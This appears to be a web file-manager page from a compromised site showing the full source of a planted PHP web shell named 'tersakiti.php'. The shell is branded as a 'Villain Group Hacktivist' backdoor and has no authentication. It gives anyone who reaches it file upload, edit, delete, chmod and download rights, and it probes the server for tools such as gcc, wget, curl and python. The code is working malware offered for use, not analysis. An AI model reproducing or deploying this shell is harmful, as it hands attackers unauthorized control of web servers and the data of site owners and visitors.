Файловый менеджер - Редактировать - /home/bnnoticiastv/public_html/tersakiti.php
Назад
<?php session_start(); error_reporting(0); $base_dir = realpath(dirname(__FILE__)); if (!isset($_SESSION['current_dir'])) { $_SESSION['current_dir'] = $base_dir; } $theme = isset($_COOKIE['theme']) ? $_COOKIE['theme'] : 'villain-theme'; function sanitize_path($path) { $path = str_replace(['../', '..\\'], '', $path); $path = realpath($path) ?: $_SESSION['current_dir']; return is_dir($path) ? $path : $_SESSION['current_dir']; } if (isset($_POST['change_dir'])) { $_SESSION['current_dir'] = sanitize_path($_POST['new_dir']); header("Location: ".$_SERVER['PHP_SELF']); exit; } if (isset($_GET['cd'])) { if ($_GET['cd'] === 'base') { $_SESSION['current_dir'] = $base_dir; } elseif ($_GET['cd'] === 'parent') { $parent = dirname($_SESSION['current_dir']); if (strlen($parent) >= strlen($base_dir)) { $_SESSION['current_dir'] = $parent; } } else { $target = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.$_GET['cd']; $_SESSION['current_dir'] = sanitize_path($target); } header("Location: ".$_SERVER['PHP_SELF']); exit; } if (isset($_GET['action'])) { $file = isset($_GET['file']) ? $_GET['file'] : (isset($_POST['file']) ? $_POST['file'] : ''); $full_path = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.$file; switch ($_GET['action']) { case 'delete': if (file_exists($full_path)) { if (is_file($full_path)) { unlink($full_path); } elseif (is_dir($full_path)) { array_map('unlink', glob("$full_path/*.*")); rmdir($full_path); } } break; case 'rename': if (isset($_POST['new_name']) && isset($_POST['file'])) { $new_path = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.$_POST['new_name']; if (file_exists($full_path)) { rename($full_path, $new_path); } } break; case 'edit': if (isset($_POST['content']) && isset($_POST['file'])) { if (file_exists($full_path)) { file_put_contents($full_path, $_POST['content']); } } break; case 'chmod': if (isset($_POST['mode']) && isset($_POST['file'])) { if (file_exists($full_path)) { chmod($full_path, octdec($_POST['mode'])); } } break; case 'download': if (is_file($full_path)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($full_path).'"'); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($full_path)); readfile($full_path); exit; } break; case 'get_content': if (is_file($full_path)) { echo file_get_contents($full_path); exit; } break; } header("Location: ".$_SERVER['PHP_SELF']); exit; } if (isset($_POST['upload'])) { if (isset($_FILES['file'])) { $target_file = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.basename($_FILES['file']['name']); move_uploaded_file($_FILES['file']['tmp_name'], $target_file); } header("Location: ".$_SERVER['PHP_SELF']); exit; } if (isset($_POST['create_file'])) { if (isset($_POST['file_name'])) { $new_file = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.$_POST['file_name']; file_put_contents($new_file, ''); } header("Location: ".$_SERVER['PHP_SELF']); exit; } if (isset($_POST['create_dir'])) { if (isset($_POST['dir_name'])) { $new_dir = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.$_POST['dir_name']; mkdir($new_dir); } header("Location: ".$_SERVER['PHP_SELF']); exit; } if (isset($_POST['change_theme'])) { setcookie('theme', $_POST['theme'], time() + (86400 * 30), "/"); header("Location: ".$_SERVER['PHP_SELF']); exit; } function format_size($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < 4) { $size /= 1024; $i++; } return round($size, 2).' '.$units[$i]; } function get_perms($file) { $perms = fileperms($file); $info = ''; $info .= ($perms & 0x0100) ? 'r' : '-'; $info .= ($perms & 0x0080) ? 'w' : '-'; $info .= ($perms & 0x0040) ? 'x' : '-'; $info .= ($perms & 0x0020) ? 'r' : '-'; $info .= ($perms & 0x0010) ? 'w' : '-'; $info .= ($perms & 0x0008) ? 'x' : '-'; $info .= ($perms & 0x0004) ? 'r' : '-'; $info .= ($perms & 0x0002) ? 'w' : '-'; $info .= ($perms & 0x0001) ? 'x' : '-'; return $info; } function get_file_icon($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); $icons = [ 'txt' => '📄', 'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'jpg' => '🖼', 'png' => '🖼', 'gif' => '🖼', 'zip' => '🗜', 'rar' => '🗜', 'tar' => '🗜', 'gz' => '🗜', 'pdf' => '📕', 'doc' => '📘', 'xls' => '📊', 'ppt' => '📑', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mov' => '🎬' ]; return $icons[$ext] ?? '📄'; } function check_command($cmd) { $output = []; $return_var = 0; @exec("which $cmd", $output, $return_var); return $return_var === 0 ? 'ON' : 'OFF'; } function check_mysql() { return function_exists('mysqli_connect') ? 'ON' : 'OFF'; } function check_magic_quotes() { return function_exists('get_magic_quotes_gpc') && @get_magic_quotes_gpc() ? 'ON' : 'OFF'; } function count_domains() { $count = 0; if (is_dir('/etc/nginx/sites-enabled')) { $count = count(glob('/etc/nginx/sites-enabled/*')); } elseif (is_dir('/etc/apache2/sites-enabled')) { $count = count(glob('/etc/apache2/sites-enabled/*')); } return $count; } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Villain Group Hacktivist Indonesia - v1.0</title> <style> :root { --primary: #ff0000; --secondary: #000000; --background: #111111; --text: #ffffff; --accent: #222222; --highlight: #ff3333; --card-bg: #1a1a1a; --border: #333333; --success: #00aa00; --warning: #ffaa00; --danger: #ff0000; } * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'Consolas', 'Courier New', monospace; } body { background-color: var(--background); color: var(--text); min-height: 100vh; background-image: url('https://f.sed.lol/files/cGDUt.png'); background-size: 200px; background-repeat: no-repeat; background-position: right bottom; background-attachment: fixed; background-blend-mode: overlay; } .container { max-width: 1400px; margin: 0 auto; padding: 20px; } header { background: linear-gradient(to right, var(--secondary), var(--accent)); padding: 15px 30px; border-bottom: 3px solid var(--primary); margin-bottom: 25px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; border-radius: 5px; box-shadow: 0 4px 12px rgba(0, 0, 0, 0.3); } .logo { display: flex; align-items: center; gap: 15px; } .logo img { height: 50px; filter: drop-shadow(0 0 5px var(--primary)); } .logo-text h1 { margin: 0; color: var(--primary); text-shadow: 0 0 8px rgba(255, 0, 0, 0.5); font-size: 24px; letter-spacing: 1px; } .logo-text span { color: var(--text); font-size: 12px; display: block; letter-spacing: 2px; } .server-info { background-color: var(--card-bg); padding: 20px; border-radius: 5px; margin-bottom: 25px; border-left: 4px solid var(--primary); box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2); } .server-info h3 { margin-bottom: 15px; color: var(--primary); border-bottom: 1px solid var(--border); padding-bottom: 8px; font-size: 18px; } .server-grid { display: grid; grid-template-columns: repeat(auto-fill, minmax(250px, 1fr)); gap: 15px; } .server-item { background-color: var(--accent); padding: 10px; border-radius: 3px; font-size: 13px; } .server-item strong { color: var(--primary); } .toolbar { display: flex; justify-content: space-between; margin-bottom: 20px; flex-wrap: wrap; gap: 15px; } .toolbar-group { display: flex; gap: 8px; flex-wrap: wrap; align-items: center; } .path-nav { background-color: var(--card-bg); padding: 15px; border-radius: 5px; margin-bottom: 20px; border-left: 4px solid var(--primary); box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2); width: 100%; } .path-input { display: flex; gap: 8px; margin-bottom: 10px; width: 100%; } .path-input input { flex: 1; } .breadcrumb { display: flex; flex-wrap: wrap; gap: 5px; align-items: center; font-size: 13px; } .breadcrumb a { color: var(--primary); text-decoration: none; transition: all 0.2s; } .breadcrumb a:hover { text-decoration: underline; text-shadow: 0 0 5px rgba(255, 0, 0, 0.3); } .breadcrumb-separator { color: var(--text); opacity: 0.5; } .file-list { border: 1px solid var(--border); border-radius: 5px; margin-bottom: 20px; overflow: hidden; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2); width: 100%; overflow-x: auto; } .file-header, .file-item { display: flex; padding: 10px 12px; border-bottom: 1px solid var(--border); align-items: center; min-width: 700px; } .file-header { background-color: var(--accent); font-weight: bold; text-transform: uppercase; font-size: 12px; letter-spacing: 1px; } .file-name { width: 45%; min-width: 200px; } .file-size { width: 12%; min-width: 80px; } .file-type { width: 12%; min-width: 80px; } .file-perm { width: 12%; min-width: 80px; } .file-actions { width: 19%; min-width: 150px; text-align: right; } .file-item:hover { background-color: rgba(255, 0, 0, 0.05); } .file-icon { margin-right: 8px; font-size: 16px; } .btn { background-color: var(--primary); color: white; border: none; padding: 6px 10px; border-radius: 3px; cursor: pointer; font-size: 12px; transition: all 0.2s; display: inline-flex; align-items: center; gap: 4px; min-width: 70px; justify-content: center; } .btn:hover { background-color: var(--highlight); box-shadow: 0 0 5px rgba(255, 0, 0, 0.3); transform: translateY(-1px); } .btn-sm { padding: 4px 8px; font-size: 11px; min-width: auto; } .btn-success { background-color: var(--success); } .btn-warning { background-color: var(--warning); color: #000; } .btn-danger { background-color: var(--danger); } input[type="text"], input[type="password"], select, textarea { background-color: var(--accent); color: var(--text); border: 1px solid var(--border); padding: 8px; border-radius: 3px; width: 100%; font-size: 13px; transition: all 0.2s; } input[type="text"]:focus, input[type="password"]:focus, select:focus, textarea:focus { outline: none; border-color: var(--primary); box-shadow: 0 0 5px rgba(255, 0, 0, 0.3); } .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; overflow: auto; background-color: rgba(0, 0, 0, 0.8); backdrop-filter: blur(5px); } .modal-content { background-color: var(--card-bg); margin: 5% auto; padding: 20px; border-radius: 6px; width: 90%; max-width: 600px; box-shadow: 0 5px 15px rgba(0, 0, 0, 0.5); border-top: 3px solid var(--primary); animation: modalFadeIn 0.3s; } @keyframes modalFadeIn { from { opacity: 0; transform: translateY(-15px); } to { opacity: 1; transform: translateY(0); } } .modal-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 15px; padding-bottom: 8px; border-bottom: 1px solid var(--border); } .modal-title { color: var(--primary); font-size: 18px; } .close { color: var(--text); font-size: 24px; font-weight: bold; cursor: pointer; transition: all 0.2s; opacity: 0.7; } .close:hover { color: var(--primary); opacity: 1; } textarea.code-editor { width: 100%; height: 350px; background-color: var(--accent); color: var(--text); border: 1px solid var(--border); padding: 12px; font-family: 'Consolas', 'Courier New', monospace; font-size: 13px; line-height: 1.5; border-radius: 4px; resize: vertical; } .form-group { margin-bottom: 12px; } .form-group label { display: block; margin-bottom: 4px; font-size: 13px; color: var(--primary); } .status-bar { background-color: var(--accent); padding: 8px 12px; border-radius: 0 0 5px 5px; font-size: 11px; display: flex; justify-content: space-between; min-width: 700px; } .file-actions { display: flex; gap: 4px; justify-content: flex-end; } .theme-select { background-color: var(--accent); color: var(--text); border: 1px solid var(--border); padding: 6px 8px; border-radius: 3px; cursor: pointer; font-size: 12px; min-width: 120px; } .back-to-shell { background-color: var(--accent); color: var(--text); border: 1px solid var(--border); padding: 6px 10px; border-radius: 3px; text-decoration: none; display: inline-flex; align-items: center; gap: 5px; transition: all 0.2s; font-size: 12px; } .back-to-shell:hover { background-color: var(--primary); color: white; } @media (max-width: 768px) { header { flex-direction: column; gap: 15px; text-align: center; } .logo { justify-content: center; } .toolbar { flex-direction: column; } .toolbar-group { justify-content: center; } .path-input { flex-direction: column; } .path-input button { width: 100%; } .server-grid { grid-template-columns: 1fr; } .file-name { width: 45%; } .file-size { width: 15%; } .file-type { display: none; } .file-perm { display: none; } .file-actions { width: 40%; } .btn { padding: 5px 8px; font-size: 11px; min-width: 60px; } } @media (max-width: 480px) { .container { padding: 10px; } .file-name { width: 50%; } .file-size { width: 20%; } .file-actions { width: 30%; } .file-actions { flex-direction: column; gap: 4px; } .btn-sm { width: 100%; padding: 3px 6px; } .modal-content { width: 95%; margin: 10% auto; padding: 15px; } } </style> </head> <body> <div class="container"> <header> <div class="logo"> <img src="https://f.sed.lol/files/cGDUt.png" alt="Villain Group Logo"> <div class="logo-text"> <h1>VILLAIN GROUP HACKTIVIST</h1> <span>WELCOME TO VILLAIN INDONESIA HACKTIVIST GROUP .=[ BACKDOOR ]=.</span> </div> </div> <div> <a href="?cd=base" class="back-to-shell">← Back to Root</a> </div> </header> <div class="server-info"> <h3>SYSTEM INFORMATION</h3> <div class="server-grid"> <div class="server-item"><strong>PHP Version:</strong> <?= phpversion() ?></div> <div class="server-item"><strong>Server:</strong> <?= $_SERVER['SERVER_SOFTWARE'] ?></div> <div class="server-item"><strong>OS:</strong> <?= php_uname() ?></div> <div class="server-item"><strong>Disk:</strong> <?= format_size(disk_free_space($_SESSION['current_dir'])) ?> free of <?= format_size(disk_total_space($_SESSION['current_dir'])) ?></div> <div class="server-item"><strong>User:</strong> <?= get_current_user() ?></div> <div class="server-item"><strong>Memory:</strong> <?= format_size(memory_get_usage(true)) ?> / <?= format_size(memory_get_peak_usage(true)) ?></div> <div class="server-item"><strong>MySQL:</strong> <?= check_mysql() ?></div> <div class="server-item"><strong>Magic Quotes:</strong> <?= check_magic_quotes() ?></div> <div class="server-item"><strong>Domains:</strong> <?= count_domains() ?></div> <div class="server-item"><strong>GCC:</strong> <?= check_command('gcc') ?></div> <div class="server-item"><strong>Wget:</strong> <?= check_command('wget') ?></div> <div class="server-item"><strong>Curl:</strong> <?= check_command('curl') ?></div> <div class="server-item"><strong>Perl:</strong> <?= check_command('perl') ?></div> <div class="server-item"><strong>Python:</strong> <?= check_command('python') ?></div> <div class="server-item"><strong>Python3:</strong> <?= check_command('python3') ?></div> <div class="server-item"><strong>Pip:</strong> <?= check_command('pip') ?></div> </div> </div> <div class="toolbar"> <div class="toolbar-group"> <button class="btn" onclick="showModal('createFileModal')"> <span>📄</span> New File </button> <button class="btn" onclick="showModal('createDirModal')"> <span>📁</span> New Folder </button> <button class="btn" onclick="showModal('uploadModal')"> <span>⬆️</span> Upload </button> <form method="post" style="display: flex; align-items: center; gap: 8px;"> <select name="theme" class="theme-select" onchange="this.form.submit()"> <option value="villain-theme" <?= $theme === 'villain-theme' ? 'selected' : '' ?>>Villain Theme</option> <option value="dark-theme" <?= $theme === 'dark-theme' ? 'selected' : '' ?>>Dark Theme</option> <option value="matrix-theme" <?= $theme === 'matrix-theme' ? 'selected' : '' ?>>Matrix Theme</option> </select> <input type="hidden" name="change_theme" value="1"> </form> </div> <div class="path-nav"> <form method="post" class="path-input"> <input type="text" name="new_dir" value="<?= htmlspecialchars($_SESSION['current_dir']) ?>" placeholder="Enter full path"> <button type="submit" name="change_dir" class="btn">Go</button> </form> <div class="breadcrumb"> <a href="?cd=base">ROOT</a> <?php $parts = explode(DIRECTORY_SEPARATOR, trim(str_replace($base_dir, '', $_SESSION['current_dir']), DIRECTORY_SEPARATOR)); $current_path = $base_dir; foreach ($parts as $part) { if (empty($part)) continue; $current_path .= DIRECTORY_SEPARATOR.$part; echo '<span class="breadcrumb-separator">/</span>'; echo '<a href="?cd='.urlencode($current_path).'">'.$part.'</a>'; } ?> </div> </div> </div> <div class="file-list"> <div class="file-header"> <div class="file-name">Name</div> <div class="file-size">Size</div> <div class="file-type">Type</div> <div class="file-perm">Permissions</div> <div class="file-actions">Actions</div> </div> <?php $parent_dir = dirname($_SESSION['current_dir']); if ($_SESSION['current_dir'] !== $base_dir && strpos($_SESSION['current_dir'], $base_dir) === 0) { echo '<div class="file-item"> <div class="file-name"> <span class="file-icon">📁</span> <a href="?cd=parent">.. (Parent Directory)</a> </div> <div class="file-size">-</div> <div class="file-type">DIR</div> <div class="file-perm">'.get_perms($_SESSION['current_dir']).'</div> <div class="file-actions">-</div> </div>'; } $files = scandir($_SESSION['current_dir']); foreach ($files as $file) { if ($file === '.' || $file === '..') continue; $full_path = $_SESSION['current_dir'].DIRECTORY_SEPARATOR.$file; $is_dir = is_dir($full_path); $size = $is_dir ? '-' : format_size(filesize($full_path)); $type = $is_dir ? 'DIR' : strtoupper(pathinfo($file, PATHINFO_EXTENSION)); $perms = get_perms($full_path); $icon = $is_dir ? '📁' : get_file_icon($file); echo '<div class="file-item"> <div class="file-name"> <span class="file-icon">'.$icon.'</span>'; if ($is_dir) { echo '<a href="?cd='.urlencode($file).'">'.$file.'</a>'; } else { echo htmlspecialchars($file); } echo '</div> <div class="file-size">'.$size.'</div> <div class="file-type">'.$type.'</div> <div class="file-perm">'.$perms.'</div> <div class="file-actions">'; if (!$is_dir) { echo '<a href="?action=download&file='.urlencode($file).'" class="btn btn-sm">DL</a> <button onclick="showEditModal(\''.urlencode($file).'\')" class="btn btn-sm">Edit</button>'; } echo '<button onclick="showRenameModal(\''.urlencode($file).'\')" class="btn btn-sm btn-warning">Rename</button> <button onclick="showChmodModal(\''.urlencode($file).'\')" class="btn btn-sm">Chmod</button> <button onclick="if(confirm(\'Delete '.htmlspecialchars($file).'?\')) window.location=\'?action=delete&file='.urlencode($file).'\'" class="btn btn-sm btn-danger">Del</button> </div> </div>'; } ?> <div class="status-bar"> <div><?= count($files) - 2 ?> items</div> <div><?= format_size(disk_free_space($_SESSION['current_dir'])) ?> free space</div> </div> </div> </div> <div id="editModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">EDIT FILE</div> <span class="close" onclick="hideModal('editModal')">×</span> </div> <form method="post" action="?action=edit"> <input type="hidden" name="file" id="editFile"> <textarea class="code-editor" name="content" id="editContent" spellcheck="false"></textarea> <div style="margin-top: 12px; text-align: right;"> <button type="button" class="btn btn-danger" onclick="hideModal('editModal')">Cancel</button> <button type="submit" class="btn">Save</button> </div> </form> </div> </div> <div id="renameModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">RENAME FILE</div> <span class="close" onclick="hideModal('renameModal')">×</span> </div> <form method="post" action="?action=rename"> <input type="hidden" name="file" id="renameFile"> <div class="form-group"> <label for="newName">New Name:</label> <input type="text" name="new_name" id="newName" required> </div> <div style="margin-top: 12px; text-align: right;"> <button type="button" class="btn btn-danger" onclick="hideModal('renameModal')">Cancel</button> <button type="submit" class="btn">Rename</button> </div> </form> </div> </div> <div id="chmodModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">CHANGE PERMISSIONS</div> <span class="close" onclick="hideModal('chmodModal')">×</span> </div> <form method="post" action="?action=chmod"> <input type="hidden" name="file" id="chmodFile"> <div class="form-group"> <label for="chmodMode">Permission (e.g. 755):</label> <input type="text" name="mode" id="chmodMode" pattern="[0-7]{3}" required> </div> <div style="margin-top: 12px; text-align: right;"> <button type="button" class="btn btn-danger" onclick="hideModal('chmodModal')">Cancel</button> <button type="submit" class="btn">Change</button> </div> </form> </div> </div> <div id="createFileModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">CREATE NEW FILE</div> <span class="close" onclick="hideModal('createFileModal')">×</span> </div> <form method="post"> <div class="form-group"> <label for="file_name">File Name:</label> <input type="text" name="file_name" id="file_name" required> </div> <div style="margin-top: 12px; text-align: right;"> <button type="button" class="btn btn-danger" onclick="hideModal('createFileModal')">Cancel</button> <button type="submit" name="create_file" class="btn">Create</button> </div> </form> </div> </div> <div id="createDirModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">CREATE NEW DIRECTORY</div> <span class="close" onclick="hideModal('createDirModal')">×</span> </div> <form method="post"> <div class="form-group"> <label for="dir_name">Directory Name:</label> <input type="text" name="dir_name" id="dir_name" required> </div> <div style="margin-top: 12px; text-align: right;"> <button type="button" class="btn btn-danger" onclick="hideModal('createDirModal')">Cancel</button> <button type="submit" name="create_dir" class="btn">Create</button> </div> </form> </div> </div> <div id="uploadModal" class="modal"> <div class="modal-content"> <div class="modal-header"> <div class="modal-title">UPLOAD FILE</div> <span class="close" onclick="hideModal('uploadModal')">×</span> </div> <form method="post" enctype="multipart/form-data"> <div class="form-group"> <label for="file">Select File:</label> <input type="file" name="file" id="file" required> </div> <div style="margin-top: 12px; text-align: right;"> <button type="button" class="btn btn-danger" onclick="hideModal('uploadModal')">Cancel</button> <button type="submit" name="upload" class="btn">Upload</button> </div> </form> </div> </div> <script> function showModal(id) { document.getElementById(id).style.display = 'block'; } function hideModal(id) { document.getElementById(id).style.display = 'none'; } function showEditModal(file) { document.getElementById('editFile').value = file; fetch('?action=get_content&file=' + file) .then(response => { if (!response.ok) throw new Error('Network response was not ok'); return response.text(); }) .then(content => { document.getElementById('editContent').value = content; showModal('editModal'); }) .catch(error => { console.error('Error fetching file content:', error); alert('Error loading file content'); }); } function showRenameModal(file) { document.getElementById('renameFile').value = file; document.getElementById('newName').value = decodeURIComponent(file.replace(/\+/g, ' ')); showModal('renameModal'); } function showChmodModal(file) { document.getElementById('chmodFile').value = file; showModal('chmodModal'); } window.onclick = function(event) { if (event.target.className === 'modal') { event.target.style.display = 'none'; } } document.addEventListener('keydown', function(e) { if (e.key === 'Escape') { document.querySelectorAll('.modal').forEach(modal => { modal.style.display = 'none'; }); } }); </script> </body> </html>
| ver. 1.6 |
Github
|
.
| PHP 8.2.28 | Генерация страницы: 0 |
proxy
|
phpinfo
|
Настройка